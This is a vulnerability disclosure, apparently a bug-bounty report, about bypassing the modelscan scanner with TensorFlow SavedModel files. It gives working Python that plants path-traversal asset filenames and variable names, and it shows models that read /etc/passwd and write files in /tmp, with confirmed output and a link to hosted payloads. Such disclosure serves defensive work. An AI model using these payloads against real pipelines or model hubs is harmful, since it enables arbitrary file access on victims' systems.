TensorFlow SavedModel: Asset Path Traversal + Dangerous Ops (ReadFile/WriteFile) Scanner Bypass
Summary
TensorFlow SavedModel format has two scanner bypass vectors:
Asset directory path traversal β The
assets/subdirectory can contain files with URL-encoded or literal path traversal names. modelscan 0.8.8 does not inspect asset filenames. When a framework copies or extracts assets, traversal names write outside the target directory.Variable name path traversal β
tf.Variablenames containing../../../survive the save/load cycle and are stored in the checkpoint files. modelscan does not validate variable names.
Additionally, SavedModel graphs can embed tf.io.read_file and tf.io.write_file ops that achieve arbitrary file read/write on model load and inference. While modelscan detects these ops, they demonstrate the format's inherent ability to carry dangerous operations.
Format: TensorFlow SavedModel ($4,000 MFV)
Scanner tested: modelscan 0.8.8 β 2/4 MISSED (asset traversal + variable name traversal)
Impact confirmed: Arbitrary file read (/etc/hostname) and file write (/tmp/) dynamically verified
Scanner Results (2026-03-20)
| Payload | Technique | modelscan 0.8.8 | Verified |
|---|---|---|---|
payload1_asset_traversal/ |
URL-encoded traversal in asset filename | MISSED | Asset file created |
payload4_var_traversal/ |
../../../tmp/evil_weight as tf.Variable name |
MISSED | Name preserved in checkpoint |
payload2_readfile_op/ |
tf.io.read_file op in graph |
Detected | Read /etc/hostname = confirmed |
payload3_pyfunction/ |
tf.io.write_file op in graph |
Detected | Wrote /tmp/tf_pwned.txt = confirmed |
Vulnerability Details
Asset path traversal
SavedModel stores auxiliary files in an assets/ directory alongside saved_model.pb. The asset filenames are not validated by TensorFlow or modelscan:
import tensorflow as tf
import os
model = tf.Module()
model.v = tf.Variable(1.0)
tf.saved_model.save(model, "model_dir")
# Inject traversal asset
assets_dir = os.path.join("model_dir", "assets")
os.makedirs(assets_dir, exist_ok=True)
with open(os.path.join(assets_dir, "..%2f..%2f..%2ftmp%2fpwned.txt"), 'w') as f:
f.write("PWNED")
When tools extract or copy assets (e.g., model registries, deployment pipelines), the traversal filename writes outside the model directory.
Variable name traversal
TensorFlow accepts path traversal characters in variable names:
class Model(tf.Module):
def __init__(self):
self.w = tf.Variable(tf.zeros([4, 4]), name="../../../tmp/evil_weight")
tf.saved_model.save(Model(), "model_dir")
# Variable name preserved in checkpoint files
ReadFile / WriteFile ops (impact demonstration)
SavedModel graphs can contain ops that perform file I/O at inference time:
# This model reads arbitrary files when called:
loaded = tf.saved_model.load("payload2_readfile_op")
content = loaded.read(tf.constant("/etc/passwd"))
# β Returns file contents as tf.string tensor
# This model writes arbitrary files when called:
loaded = tf.saved_model.load("payload3_pyfunction")
loaded.process(tf.constant("malicious content"))
# β Writes to /tmp/tf_pwned.txt
Dynamically confirmed:
ReadFile: read /etc/hostname = 'Paolo'
WriteFile: wrote /tmp/tf_pwned.txt = 'PWNED_BY_TF_SAVEDMODEL'
Impact
Asset traversal β arbitrary file write during model deployment, extraction, or registry indexing. ML pipelines that unpack SavedModel assets write to attacker-controlled paths.
Variable name traversal β checkpoint file escape if checkpoints are exported per-variable (some tools do this for distributed training).
ReadFile/WriteFile ops β runtime file access whenever the model is loaded and invoked. In inference servers (TF Serving, Triton), this reads host files or writes to the filesystem with server privileges.
Supply chain β malicious SavedModels on TensorFlow Hub or Hugging Face trigger file access when loaded by any consumer.
Proof of Concept
Payloads hosted at: https://huggingface.co/vellaveto/tf-savedmodel-scanner-bypass-poc
Suggested Fix
- Validate asset filenames: reject
..,%2f, null bytes, control characters - Validate variable names: same character restrictions
- modelscan: inspect asset directory filenames, not just
saved_model.pbcontents
References
- Downloads last month
- -